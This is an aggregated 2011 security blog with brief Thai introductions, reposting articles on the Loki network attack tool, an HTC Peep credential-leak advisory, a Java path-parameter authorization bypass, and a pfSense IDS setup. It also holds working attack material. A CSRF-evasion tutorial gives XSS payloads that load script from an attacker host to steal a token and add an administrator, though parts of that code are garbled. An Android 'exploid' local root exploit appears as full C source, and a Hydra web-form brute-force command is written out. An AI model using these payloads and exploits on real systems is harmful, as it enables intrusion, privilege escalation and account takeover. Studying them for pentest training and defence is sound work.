Feb 4, 2011

Exploiting Networks with Loki on Backtrack 4 R2

Loki is the impressive layer 2/3 network manipulation tool by Daniel Mende, Rene Graf and Enno Rey of ERNW.  Released at BlackHat 2010 last year (slides here), Loki replicates some of the functionality of Yersinia, but does so in a much more useful package while adding support for lots of new protocols commonly found in enterprise networks (that is, found in an insecure and exploitable form in many enterprise networks).Lately I’ve been working on 2 days of the new SANS Advanced Penetration Testing and Ethical Hacking course (SEC660).  I wrote day 3 materials covering Python for Pen Testers, Scapy, Fuzzing and Cryptography for Pen Testers as well as the day 2 materials on Network Attacks, focusing on accessing the network, manipulating the network and exploiting the network.  I’ll write some future articles on the cool Python, Scapy, Fuzzing and Crypto attacks in SEC660, but today I want to focus on how to effectively use the powerful Loki tool to exploit common network flaws.

Loki Introduction

Loki provides a GUI interface for multiple protocol attacks, allowing you to manipulate network protocols for man-in-the-middle attacks and other malicious network activity.  Supported protocols include:
  • ARP
  • HSRP, HSRPv2
  • RIP
  • BGP
  • OSPF
  • EIGRP [not-yet-to-be-released due to legal blur]
  • WLCCP [not-yet-to-be-released due to legal blur]
  • VRRP, VRRPv3
  • BFD (Bidirectional Forwarding Protocol)
  • LDP (Label Distribution Protocol)
  • MPLS (re-labeling, tunnel interface)
With an easy-to-use interface, Loki is my new preferred tool for exploiting many of these protocols, but more than that it offers a reliable interface for exploiting protocols not covered in other tools.  Specifically, I’m very pleased I now have a tool to inject and manipulate routes in OSPF environments, including an interface to mount a (fast) offline dictionary attack against the MD5 shared secret.
Unfortunately, Loki is not the simplest tool to get running on Backtrack 4 R2.  It is not included in the Backtrack repository, but we can add it to any BT4 R2 installation (or VM) with a few straightforward steps.

Installing Loki

To install Loki on BT4 R2 we’ll need to install some additional packages, and apply a source code patch to make Loki compatible with Backtrack’s Python 2.5 interpreter.  First, install several needed packages from the Backtrack repository:
# apt-get update
# apt-get install autoconf automake autotools-dev python-ipy python-libpcap

Next, we need to remove a Python module that is included by default on Backtrack but conflicts with the Loki-required python-libpcap module, as shown:
# apt-get remove python-pypcap

Next, we can download Loki and the patch to make it work on Backtrack 4 R2.  I put this patch together so we could use Loki in the SEC660 course, and Daniel Mende is kind enough to host it for us on his site:
# wget https://www.c0decafe.de/loki/loki-0.2.4.tar.gz
# wget https://www.c0decafe.de/loki/loki-0.2.4-bt4.diff

Now we can extract the source and apply the patch, as shown:
# tar xfz loki-0.2.4.tar.gz
# cd loki-0.2.4
# patch -p1 <../loki-0.2.4-bt4.diff
patching file configure.in
patching file loki_bindings/ospfmd5/ospfmd5bf.c
patching file modules/module_hsrp2.py
patching file modules/module_hsrp.py
patching file modules/module_rip.py
patching file modules/module_vrrp3.py
patching file modules/module_vrrp.py
patching file src/loki.py

Not so hard! Next, we can configure the development environment to build Loki, then build and install it, as shown:
# aclocal && automake --add-missing && autoconf
# ./configure && make && make install
# which loki.py

Using Loki

Now that you’ve got Loki installed on your system, you’re ready to put it to use.  After invoking Loki (by running “loki.py” from the shell), click the top-left corner button to invoke the packet sniffing function.  While Loki sniffs network traffic, it will identify supported protocols that it can attack by blinking the tab designed for that specific protocol.  Otherwise, you can navigate to other tabs, such as the ARP tab, and click on the active scanning functionality to discover attack targets (as shown below).


I’m very impressed with the functionality of Loki, and I’ve been pleased with how well it works on various penetration testing engagements.  There are still some minor bugs, but nothing that can’t be rectified quickly with a little Python edit here and there.

If you have a Loki success story (e.g. how you owned a network with Loki) or if you run across a Loki bug you want to share, please leave a comment below.  In the meantime, check out this powerful tool and, for practical hands-on experience on using Loki to exploit interior routing protocols, check out SEC660 at a SANS conference near (or not-so-near) you soon!

Special thanks to Daniel, Enno and Rene for making Loki available to the open-source community.  Tool authors don’t get enough thanks for their hard work, so please considering leaving them a note as well thanking them for this very useful addition to your attack tool arsenal.


Source: http://www.packetstan.com/2011/02/running-loki-on-backtrack-4-r2.html

Vulnerability in HTC Peep: Twitter Credentials Disclosure

พบช่องโหว่ใน HTC Peep ซึ่งเป็น Twitter Client ใน Android ของ HTC ครับ

Title: Twitter credentials disclosure in HTC Peep mobile app (default HTC Twitter client)
Vulnerability ID: TAD-2011-001
Credits: This vulnerability was discovered by Raul Siles, Founder and Senior Security Analyst with Taddong (www.taddong.com)
Publication date: February 4, 2011
Vendors contacted: HTC (and MITRE - CVE ID)

Vulnerability description:
The default Twitter client (or application) in HTC mobile devices is called HTC Peep. HTC Peep is vulnerable to two different credentials disclosure vulnerabilities during the authentication process against the Twitter service (twitter.com).

During the authentication process, the HTC Peep app establishes an HTTP (TCP/80) connection against the twitter.com servers, sending a few HTTP OAuth-related requests. The first two HTTP GET requests try to gather and make use of an OAuth token: "GET /oauth/request_token" (the response contains the "oauth_token") and "GET /oauth/authorize?oauth_token=...".

The first vulnerability resides in the third HTTP request, a POST request towards the "/oauth/authorize" resource, which contains several parameters, including the Twitter username and password in the clear, making the authentication process vulnerable to eavesdropping attacks:


This authentication exchange should be protected by HTTPS, forcing the credentials to be sent over an encrypted channel.

The second vulnerability resides in the way HTP Peep works. Once the Twitter session has been established, all the HTTP requests from the mobile device to the Twitter service include an HTTP Basic authentication header that contains the Twitter username and password (although the app is supposed to be using OAuth). Examples of standard Twitter resources retrieved through HTTP GET requests: "/direct_messages.json?count=50&page=1", "/favorites.json?page=2", "/statuses/friends_timeline.json?count=50&page=1", or "/statuses/mentions.json?count=50&page=1".

GET /statuses/friends_timeline.json?count=50&page=1 HTTP/1.1
Accept: text/xml, application/xml;q=0.9, */*;q=0
Authorization: Basic BASE64("USERNAME:PASSWORD")
User-Agent: TwitterEngine
Host: twitter.com

OAuth is a technology that enables applications to access a service, in this case Twitter, on behalf of the user, with the user approval, without asking the user directly for (or storing) her password. HTTP Basic authentication is one of the most basic, hence the name, and insecure web-based authentication mechanisms. The credentials are sent (almost) in the clear on every HTTP request from the web client to the web server. In fact, the credentials ("username:password") are encoded in Base64 in the HTTP "Authorization" header. Simply by capturing or eavesdropping the web traffic and looking at the HTTP request headers, an attacker can easily obtain the user Twitter credentials.

The Twitter session can be protected by using a pure OAuth exchange, without making use of Basic authentication, or by protecting the whole session with HTTPS.

Coincidentally, the discovery of these vulnerabilities was aligned with Twitter's announcement to increase the security of third-party apps: "Starting August 31, all applications will be required to use “OAuth” to access your Twitter account". This service switch didn't make any difference regarding this vulnerability, as HTC Peep still works through its OAuth capabilities. However, as this advisory demonstrate, technology must be implemented properly. Historically, Twitter developers have been able to choose one of two authentication methods: Basic Authentication or OAuth. Somehow, HTC Peep is using both methods simultaneously, exposing the user credentials.

Modern mobile devices implement multiple communication technologies, such as IrDa, Bluetooth, Wi-Fi, and mobile (2G/3G). The last two, Wi-Fi and 2G/3G, are the most commonly used methods to establish data communications from the mobile device to other entities. Therefore, this vulnerability can be exploited on targeted attacks when the mobile device is using any of these two technologies:

* Wi-Fi: When the mobile device connects to a Wi-Fi (802.11) network, an attacker can intercept all your web traffic if it is an open or WEP Wi-Fi network. If the network is based on WPA(2)-PSK, any user with access to that network can also collect all your traffic. You can protect your Wi-Fi data communications if you only connect to WPA2-Enterprise Wi-Fi networks (or, potentially, if you thoroughly make use of VPN technologies). Unfortunately, even when your device is not connected to any Wi-Fi network, still this vulnerability can be exploited in combination with other vulnerabilities, such as Karma-like attacks. See "TAD-2010-003: Full 802.11 Preferred Network List (PNL) disclosure in Windows Mobile 6.5".
* 2G/3G: When the mobile device connects to a mobile network (2G or 2.5G: GPRS or EDGE) an attacker can intercept all your web traffic. You can protect your mobile data communications if you only connect to +3G data networks. For more information see the "GPRS/EDGE Security" blog post and the recent "A practical attack against GPRS/EDGE/UMTS/HSPA mobile data communications" BlackHat DC 2011 Taddong presentation, by David and Jose.

Independently of the data network access used by the mobile device, at some point the web traffic will enter on the public Internet in the clear (unencrypted), where it can be intercepted by anyone with access to capture the traffic on any of the intermediate network segments between the mobile device and Twitter.

The fact that Twitter credentials can be easily eavesdropped has a pretty significant impact, as most users assume other users credentials have not been hijacked, therefore, they blindly trust tweets (or microblog/blog posts) coming from trusted parties (their friends, people they frequently follow, public personalities...). Twitter account hijacking can be used for web-based & client-based targeted attacks (specially through the use of short URLs), and can cause a significant damage to the image and credibility of the victim user.

While analyzing in-depth the affected HTC Peep version and the version associated to the temporary hotfix provided by HTC, we collected the following details from the Windows Mobile registry:


NOTE: Extract your own conclusions about the hotfix version number. Hint: It looks like a date.

Security solutions, workarounds, and countermeasures:
We think HTC should release a software update to change the vulnerable behavior in the HTC Peep mobile application, solving both credentials disclosure issues: the usage of HTTP Basic authentication versus pure OAuth capabilities, and the usage of HTTP versus HTTPS during the authentication process (and preferably, for the whole HTTP(S) session).

HTC has just confirmed (February 3, 2011 - 6pm CET) that an update is available, although it has not been released publicly. It will be delivered under request to any interested customer. If you are interested on the fix, you must contact HTC directly.

Due to the absence of a public software update at this time (5 months since the initial notification), we strongly recommend users not to use HTC Peep to connect to Twitter. Users must evaluate the usage of HTC Peep as their preferred mobile Twitter client, and use other Twitter clients available for their HTC mobile device instead. There are multiple third-party Twitter clients for Windows Mobile (available through a simple Google search: "windows mobile twitter app (or client)") such as: ceTwit, GPS Twit, Jitter, Locify with Twitter, Pocket Tweet, PocketTwit, Quakk, SQIJ, TinyTwitter, Twibble, Twikini, TwitToday, Twitter2Go, Twitter Answers, Twitter deBolsillo, Twitula, Twobile, Viigo, or direct access to the official Twitter Mobile homepage (https://moblie.twitter.com/login) from a mobile web browser.
Disclaimer: These mobile Twitter applications have not been analyzed against these, similar, or other security vulnerabilities.

Users must avoid reusing their Twitter credentials in other services and applications (a common security best practice), as their Twitter username and password can be easily retrieved by an attacker.

Vulnerable platforms:
HTC mobile devices running HTC Peep (HTC Peep is the default HTC Twitter client). HTC has confirmed HTC Peep is vulnerable at least in the following HTC mobile platforms: HD2, T-Mobile HD2, Topaz, Rhodium, and HD Mini.

Other mobile platforms running HTC Peep, based on Windows Mobile or other mobile operating system, such as Android (if available), could be affected too.

The vulnerability was discovered on an HTC HD2 mobile device running Windows Mobile 6.5 Professional and the built-in HTC Peep version ("2_5_19212224_0").

Vendor information:
HTC has confirmed the existence of this vulnerability and it is working to release a hotfix to solve the issue. The temporary hotfix provided was named "LEO_S01175" but it still discloses the Twitter credentials by using HTTP instead of HTTPS.

We at Taddong honestly believe this finding must be publicly known by the information security community in order to take appropriate countermeasures and mitigate the vulnerable behavior. Therefore, we have tried to coordinate the release of this security advisory together with the vendor, following responsible disclosure principles. This vulnerability is especially relevant considering the extensive number of HTC mobile devices available in the market and the potential impact of the associated attacks.

Source: http://blog.taddong.com/2011/02/vulnerability-in-htc-peep-twitter.html

Feb 3, 2011

Beware the HTTP path parameter

Please forgive the title, but today’s topic is something to be wary of if you write (or use) any access control / authorization type code in web-based j2ee apps: HTTP URL path parameters. Many people are unfamiliar with them (as they are uncommon), but they are something you should be aware of. A nice simple description of url path parameters can be found here. Essentially path parameters are the bit of a url path that comes after a semi-colon (semi-colon is the most popular path parameter delimeter). So, here’s an example of 2 urls, each with an http path parameter:


We’ve all seen the first example probably many times where a jsessionid gets attached to our url. However, take a look at the second example. Pay very close attention to what is being presented here. This represents a request that is going to go to the administrative UpdateUserServlet, but with a path parameter of /user/HomeServlet. Now, what could be the problem here? Well, there actually turns out to be 2 different issues to deal with in most cases.

Issue 1 – The server product and version

The first issue to contend with is how your servlet container/app server product and version handles certain request APIs, as apparently different products and even versions deal with http path parameters in different ways. (I have not done the work to determine which servers and versions are affected, but you should do that in your own environment, as apparently even configuration changes can cause slightly differing behavior. These variations are caused by – read blamed on – a lack of clarity in the servlet spec regarding path parameters.)
This problem can be seen when using certain API calls from the HttpServletRequest object and seeing how those APIs handle path parameters. Two of the affected methods are getContextPath() and getServletPath(), where there are variations between whether or not these calls actually strip out any path parameters depending on server and version. Again, this testing is left as an exercise to the reader. We’ll see below what can happen when we make poor assumptions here.

Issue 2 – Your code

Here is where the actual problem really shows up … when we actually use these APIs. One of the most common uses is for writing access control / authorization code. Many access control frameworks or internal codebases use a url mapping concept of some kind. They vary widely in how they are implemented, but a simple example might be: anything with “/admin/” in the path requires the admin role, or anything that ends in “UpdateServlet” requires the manager role. Let’s use the “ends with” example and walk through some code.
String uri = request.getRequestURI(); //note getRequestURI will always return the full path with path parameters but not request parameters
if (uri.endsWith("UpdateServlet")) {
    //require the manager role here
} else {
    //just require standard user role
This is a very trivial piece of code, but will be similar in spirit to what is in lots of access control code in j2ee apps. Here the developer was expecting the user to send a request that looked like
when they were trying to get to the update servlet. But what happens if the user sends a request like
HERE’S THE PROBLEM! Now the app code has checked the URI, and sees that it ends with ReadServlet and not UpdateServlet, so it only requires the standard user role, and the access control check passes. But the app server/container sees that the ACTUAL request is going to UserUpdateServlet, and allows the user to go there. Now we have a access control bypass issue! The user has been able to circumvent your “protection”.
DOH! Ok, now what …?

Fixing the problem

There are several ways you could address this issue, and each option varies in difficulty and correctness.
1. You could whitelist all of your allowed requests and compare them to pre-determined acceptable urls, but that might get cumbersome with a very large app.
2. You can perform some cleansing (stripping) of the url path parameters, but that can be an issue if your app server allows various path parameter delimeters.
3. You can also compare from the start of the URI or path instead of checking the end. This might be similar to the whitelist option
4. Another option that should definitely be used is to check your app server/container (on every upgrade as well) to see what it’s actual behavior is regarding path parameters).
5. Another option might be to perform your access control check at the beginning of a request handling piece of code, like a servlet, or action. That way, you know that’s the code actually being executed, so it’s the url you should be verifying. This has the problem of a lack of centralized control however.
There are certainly more options here, and you know what will work in your code, but hopefully the options above help as a starting point. Hopefully you found this information helpful and are able to update your projects to fix the issue if it exists.


Much of my research for this article came from an important bug in the Spring Security (formerly Acegi) project that was caused by this path parameter issue (bug found by Ed Schaller). More information can be found at the following 2 urls.

Source: http://www.jtmelton.com/2011/02/02/beware-the-http-path-parameter/

Evading CSRF protection using XSS

บทความการหลบ CSRF Protection โดยใช้ XSS ครับ

Evading CSRF protection using XSS

In this article I will discuss how to evade CSRF protections exploiting XSS vulnerability. I found this technique very helpful for those web applications which have adequate CSRF guard for all relevant pages but at the same time also have some pages susceptible to XSS. Using that XSS we can bypass the CSRF protection and we can automate any action that anybody can do on the application without problems.

For example, suppose one website has a little application on the main page which there is a XSS vulnerability, and a forum on /forum which is not vulnerable to CSRF. We will see how we can use that XSS to bypass CSRF protection of the forum. There are many methods to prevent CSRF, but the most used is that of tokens and hidden fields.

(<inputtype="hidden"name="token"value="<?php print$_SESSION['token'];?>" /> )

Which are verified before the action is executed. We will try to pass this type of protection, 

so as we have time to do what we really want.
Let's start with the base idea, how to pass CSRF protection, because we do not know the token. The solution is, we can do this very easily using javascript. Let's take an example, adding a new administrator depending on the name of the user who will become administrator. This will happen in the folder /admin which is not vulnerable to CSRF:
/admin/admin.php?action=add_admin ( for example..):

<form method="get" action="add_admin.php">
Name: <input type="text" name="name" value="" /> <br />
<input type="hidden" name="token" value="<? php print $_SESSION['token'];?>" />
<input type="submit" name="submit" value="add admin" /><br />

Well, this script adds an administrator. When the button is clicked the main admin will make a request such as:
When verifying, the token from the session will be the same with the one send from the form, and nitro will be an administrator.

if($_SESSION['token'] ==$_GET['token'])
// we_make_nytro_admin();
print 'Nytro is now an admin.';
}else print 'Token invalid _|_ :)';

Now let's see what we can do to obtain that token. I will use as a method the GET function, in examples, so as to be easier to understand, but you could apply as well the POST function for data being sent. We will consider on the main page (index.php), the vulnerable application which contains the following code:

print'Hello, ' .$_GET['name'];

To simplify things, we won't write our javascript code directly in the request ,instead we will write it in a .js file which we will consider uploaded on:

In request we will use:

http://www.site_vulnerabil.com/index.php?nume=<script src="http://www.atacator.com/script.js"></script>

So let's see how we can find out the token using javascript. Very easy! We will use a simple <iframe> in which we will open the page from which the CSRF request is being made (/admin/admin.php?action=add_admin)and we will read it. Then we will want the link and we will redirect the victim (administrator) towards it,or we will write it in an <iframe>. Let's do it.
Firstly, from our javascript code we will have to create our iframe, which will open the administration page. Will put everything in a function which we will call at the onload event of the iframe so as to be sure that the page loaded.

[removed]ln('<iframe id="iframe" src="/admin/admin.php?action=add_admin" width="0" height="0" onload="read()"></iframe>');

Then we are going to write read() function which reads the token, and displays it in an alert.

function read()

Thereby, we are going to use a request such as:

http://www.vulnerable_website.com/index.php?name=<script src="http://www.attacker.com/script.js"></script> where http://www.attacker.com/script.js is:
[removed]ln('<iframe id="iframe" src="/admin/admin.php?action=add_admin" width="0" height="0" onload="read()"></iframe>');

function read()

There should be an alert with the token we want. All we have to do is to create an link with that token and redirect the user towards it.We will modify the read() function for this:
[removed]ln('<iframe id="iframe" src="/admin/admin.php?action=add_admin"
width="0" height="0" onload="read()"></iframe>');

function read()
varname ='Nytro';

document.getElementById("iframe").contentDocument.forms[0].token.value;document.location.href ='' +name +'&token='+token + '&submit';

Thereby, if the victim makes a request to:
http://site_victim.com/index.php?name=<script src="></script></p> <p>it will be redirected to:</p> <p>http://site_victim.com/admin/add_admin.php?name=Nytro&token=aH52G7jtC3&submit</p> <p>

For example, and Nytro will be admin. In order the victim not to realize he was victim to such an attack we put everything in the iframe</p> <p><iframe src='http://site_victim.com/index.php?name=<script</p> <p>src="http://"></script>'width="300"height="300"></iframe>

Well this was the base idea. Things can complicate a lot. We can use XSS to obtain administrator rights on a vBulletin or phpBB forum , but things are becoming complicated, if we would need to send the data 2 times using POST we should use an iframe in a iframe and so on,so is no use to make it complicated, but keep in mind that it is possible. Also, usually the data will have to be sent using POST.No problem! Just read the token as we read it earlier and create an form as the one of the page protected by CSRF.In our example , instead of redirecting we will modify the our script this way:

[removed]ln('<iframe id="iframe" src="/admin/admin.php?action=add_admin" width="0" height="0" onload="read()"></iframe>');
varname ='Nytro';
[removed]ln('<form width="0" height="0" method="post"
[removed]ln('<input type="text" name="name" value="' +name +'" /><br />');
[removed]ln('<input type="hidden" name="token" value="' +token +'" />');
[removed]ln('<input type="submit" name="submit" value="Add_admin" /><br

Be careful at the forms, at actions and inputs from the forms. It is a little tricky using POST but it is possible. Now you may want to try putting on the iframe another page such as http://www.google.ro, or another website and do the same. Well it no possible because of the browser, it won't let you, you will get" Permission denied". It won't allow access through a frame ( or anything else) to a page from another server ,because on security measures (taken by Netscape a long time ago: ‘data contamination' ) .

Maybe it is complicated to create links or generating forms… Actually you can do this much easier. Even though it won't work on all browsers, contentDocument can be read only, on Mozilla it is not. How can it be easier? Create an iframe with the page that is protected by CSRF, write the wanted name in form an press click on submit button. So,our script, it doesn't matter if the data will be sent by GET or by POST , it will look like this:

[removed]ln('<iframe id="iframe" src="/admin/admin.php?actiune=add_admin" width="0" height="0" onload="read()"></iframe>');

function read()
varname ='Nytro';
document.getElementById("iframe").contentDocument.forms[0].name.value =name;
// write name
Press click

Source: http://www.articlesbase.com/security-articles/evading-csrf-protection-using-xss-4151458.html?sms_ss=twitter&at_xt=4d49663103087f86,0

Android 1.x/2.x HTC Wildfire Local Root Exploit

ในที่สุดมันก็โผล่มาใน Android Local Root Exploit.!!!! 
/* android 1.x/2.x the real youdev feat. init local root exploit.
 * Modifications to original exploit for HTC Wildfire Stage 1 soft-root (c) 2010 Martin Paul Eve
 * Changes: 
 * -- Will not remount /system rw (NAND protection renders this pointless)
 * -- Doesn't copy self, merely chmods permissions of original executable
 * -- No password required for rootshell (designed to be immediately removed once su binary is in place)
 * Revised usage instructions:
 * -- Copy to /sqlite_stmt_journals/exploid and /sqlite_stmt_journals/su
 * -- chmod exploid to 755
 * -- Execute the binary
 * -- Enable or disable a hotplug item (wifi, bluetooth etc. -- this could be done automatically by an app that packaged this exploit) -- don't worry that it segfaults
 * -- Execute it again to gain rootshell
 * -- Copy to device (/sqlite_stmt_journals/) + chown/chmod su to 04711
 * -- Delete original exploid
 * -- Use modified Superuser app with misplaced su binary
 * Explanatory notes:
 * -- This is designed to be used with a modified superuser app (not yet written) which will use the su binary in /sqlite_stmt_journals/
 * -- It is important that you delete the original exploid binary because, otherwise, any application can gain root
 * Original copyright/usage information
 * (C) 2009/2010 by The Android Exploid Crew.
 * Copy from sdcard to /sqlite_stmt_journals/exploid, chmod 0755 and run.
 * Or use /data/local/tmp if available (thx to ioerror!) It is important to
 * to use /sqlite_stmt_journals directory if available.
 * Then try to invoke hotplug by clicking Settings->Wireless->{Airplane,WiFi etc}
 * or use USB keys etc. This will invoke hotplug which is actually
 * our exploit making /system/bin/rootshell.
 * This exploit requires /etc/firmware directory, e.g. it will
 * run on real devices and not inside the emulator.
 * I'd like to have this exploitet by using the same blockdevice trick
 * as in udev, but internal structures only allow world writable char
 * devices, not block devices, so I used the firmware subsystem.
 * !!!This is PoC code for educational purposes only!!!
 * If you run it, it might crash your device and make it unusable!
 * So you use it at your own risk!
 * Thx to all the TAEC supporters.
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <linux/netlink.h>
#include <fcntl.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <string.h>
#include <unistd.h>
#include <sys/stat.h>
#include <signal.h>
#include <sys/mount.h>

void die(const char *msg)

void clear_hotplug()
 int ofd = open("/proc/sys/kernel/hotplug", O_WRONLY|O_TRUNC);
 write(ofd, "", 1);

void rootshell(char **env)
 char pwd[128];
 char *sh[] = {"/system/bin/sh", 0};

 setuid(0); setgid(0);
 execve(*sh, sh, env);
 die("[-] execve");

int main(int argc, char **argv, char **env)
 char buf[512], path[512];
 int ofd;
 struct sockaddr_nl snl;
 struct iovec iov = {buf, sizeof(buf)};
 struct msghdr msg = {&snl, sizeof(snl), &iov, 1, NULL, 0, 0};
 int sock;
 char *basedir = NULL, *logmessage;

 /* I hope there is no LD_ bug in androids rtld :) */
 if (geteuid() == 0 && getuid() != 0)

 if (readlink("/proc/self/exe", path, sizeof(path)) < 0)
  die("[-] readlink");

 if (geteuid() == 0) {
  chown(path, 0, 0);
  chmod(path, 04711);
  chown("/sqlite_stmt_journals/su", 0, 0);
  chmod("/sqlite_stmt_journals/su", 06755);

  return 0;

 printf("[*] Android local root exploid (C) The Android Exploid Crew\n");
 printf("[*] Modified by Martin Paul Eve for Wildfire Stage 1 soft-root\n");

 basedir = "/sqlite_stmt_journals";
 if (chdir(basedir) < 0) {
  basedir = "/data/local/tmp";
  if (chdir(basedir) < 0)
   basedir = strdup(getcwd(buf, sizeof(buf)));
 printf("[+] Using basedir=%s, path=%s\n", basedir, path);
 printf("[+] opening NETLINK_KOBJECT_UEVENT socket\n");

 memset(&snl, 0, sizeof(snl));
 snl.nl_pid = 1;
 snl.nl_family = AF_NETLINK;

  die("[-] socket");

 close(creat("loading", 0666));
 if ((ofd = creat("hotplug", 0644)) < 0)
  die("[-] creat");
 if (write(ofd, path , strlen(path)) < 0)
  die("[-] write");
 symlink("/proc/sys/kernel/hotplug", "data");
 snprintf(buf, sizeof(buf), "ACTION=add%cDEVPATH=/..%s%c"
          "FIRMWARE=../../..%s/hotplug%c", 0, basedir, 0, 0, basedir, 0);
 printf("[+] sending add message ...\n");
 if (sendmsg(sock, &msg, 0) < 0)
  die("[-] sendmsg");
 printf("[*] Try to invoke hotplug now, clicking at the wireless\n"
        "[*] settings, plugin USB key etc.\n"
        "[*] You succeeded if you find /system/bin/rootshell.\n"
        "[*] GUI might hang/restart meanwhile so be patient.\n");
 return 0;

Source: http://www.exploit-db.com/exploits/16098/

Web Form Password Brute Force with FireForce

I spent many hours today playing around with DVWA – (Damn Vulnerable Web App), from Randomstorm, brushing up on my web app pentesting skills, to be honest its been a long time and I really need to get back on top of this.
Anyways, after going through all the usual SQL injection, XSS stuff I thought I’d have a go at the brute forcing part of the app.
Well after what seemed like days I gave up, with little or no success – I’d tried the usual suspect for ‘bruting’ the password – Hydra.
Until I Googled around and found a Firefox addon called ‘Fireforce’ the article that I found is here Dark Reading
The website for the tool is here SCRT ,there is a manual in english too.
What the extension does is finds out the fields for the brute force attack in the web page source code, an automated way rather than reading through it manually, and then tries to brute force using your wordlists.

You can view the source code for the webpage by right clicking on the page and selecting View page source.

Here you can pick out the form action ‘GET’ and the password, username  and submit info.
This is what you would normally feed into Hydra, as shown here:-
hydra -l admin -P wordlist.txt -f -v http-get-form “/vulnerabilities/brute/:username=^USER^&password=^PASS^&submit=Login:Username and/or Password incorrect.”
So to Fireforce, best read the manual for all options, but really all you have to do once its installed is right click in the fields for username and password and load up your wordlists for usernames and passwords and let it rip.

Et Viola

After a bit more reading after publishing this post, I found out that Hydra falls a little short when dealing with web forms, an article I found on the excellent Attack Vector blog, Mat also had issues with Hydra and web forms.

Source: http://pentestn00b.wordpress.com/2011/01/07/web-form-password-brute-force-with-fireforce/

Build Your Own IDS Firewall With PFSense

Build Your Own IDS Firewall With PFSense

Prev - Page 1 of 4 - Next >>


Don't let the bad guys in
Hear that sound? That is someone rattling your doorknob. If they are able to break in, they will ransack your home, rifle through your private papers, correspondence, bank statements, photos, and if lucky they’ll find your club memberships and credit cards - your identity. They may even plant listening devices. If you lived in a bad neighborhood, you’d put in high quality locks and maybe an alarm system. The problem is, on the net, everywhere is a bad neighborhood.
What stands between you and this happening on the internet is generally your router, which is designed more as a doorway than a lock. Consumer grade firewalls, either software or hardware, can act as a lock or gatekeeper. But to truly turn back the faceless attacks (even if they would just find pictures of your kids), you need a dynamic firewall with intrusion detection; the kind of 1U firewall server appliances usually found only in corporate data centers (read: expensive). Devices that generally start at about $3K; a Cisco PIX firewall starts at nine.
We’ll show you how you can put together your own firewall/router with all of the capabilities of high-end gear using open source software and inexpensive components. There are a significant number of open source distributions available for homebrew router/firewall builds. We chose PFSense for its outstanding built-in functionality, active support forums, first class documentation and overall maturity. Most significantly, beyond rich routing functionality, PFSense offers firewall and intrusion detection/prevention well beyond that of the mere mortal router.

Firewall vs. Intrusion Detection/Prevention

To understand the advantages offered by PFSense over your router or a firewall, we need to understand the difference between what a router/firewall offers and what an Intrusion detection system (IDS) provides.
A firewall, in the most general sense, works at the connection level of your network traffic, looking at the envelope of a network connection:  Where is it coming from? Where is it going? What is the origin and/or destination address/port?
Figure 1 is as real firewall log, notice the aforementioned doorknob rattling:
A real firewall log showing network probes
Figure 1: A real firewall log showing network probes
An intrusion detection system goes beyond and below firewall filtering. Beyond, by looking at the pattern of network connections, recognizing port scans, specific threat signatures and denial of service attacks. Below by looking at the actual contents of each packet, recognizing executable code, badly formed packets, buffer overflow attempts, and things like plain-text credit card numbers.
Figure 2 shows a real log from the IDS tool Snort for the same period as above:
Snort log
Figure 2: Snort log
Note:  The IP addresses have been obscured to protect the innocent and the network the router/firewall protects. These logs are from a developer’s (my) home network, with no P2P traffic or other dodgey activity that might advertise the WAN IP address.


PFSense is a free, mature open source project that runs on top of FreeBSD, for firewall/router installations. It has been around since 2004, when it was spun-off from m0n0wall. Where m0n0wall is designed for embedded systems, PFsense is geared toward x86 commodity hardware.
Like any modern router, PFsense is administered through a comprehensive Web GUI (Figure 3). At no point do you need to drop to a shell window, unless you want to further customize your router.
PFsense Dashboard
Figure 3: PFsense Dashboard
The out-of-the-box functionality is impressive, and too long to go into here, but includes full routing capabilities across multiple interfaces, graphical traffic monitoring, firewall filtering, VPN Support (IPSec, OpenVPN, PPTP ), Captive Portal login handling, Quality of Service traffic shaping, load balancing across multiple interfaces, ISP & Router failover,  and network logging. Over the top functionality.
In addition, Table 1 shows a few of PFSense's add-in integrated packages adapted to PFSense’s Web GUI, providing a surprising array of functionality.
Snort Eminent packet filtering rules engine, providing intrusion detection and prevention, allows for policy enforcement, and IP blocking. With custom and regularly updated dynamic rules.
Squid High speed caching web proxy, can run transparently
SquidGuard Squid Proxy Add-on for Content Filtering
HAVP HTTP antivirus scanning proxy, a front-end to ClamAV
IP-Blocklist IP blocking based on various published IP address lists from iBlockList.com
Table 1: PFsense packages
Beyond the integrated PFSense packages, FreeBSD offers a rich set of network tools and open source packages, including EtherApe, PFTop and Tarpit that can run in conjunction with and alongside PFSense.

Source:  http://www.smallnetbuilder.com/security/security-howto/31406-build-your-own-ids-firewall-with-pfsense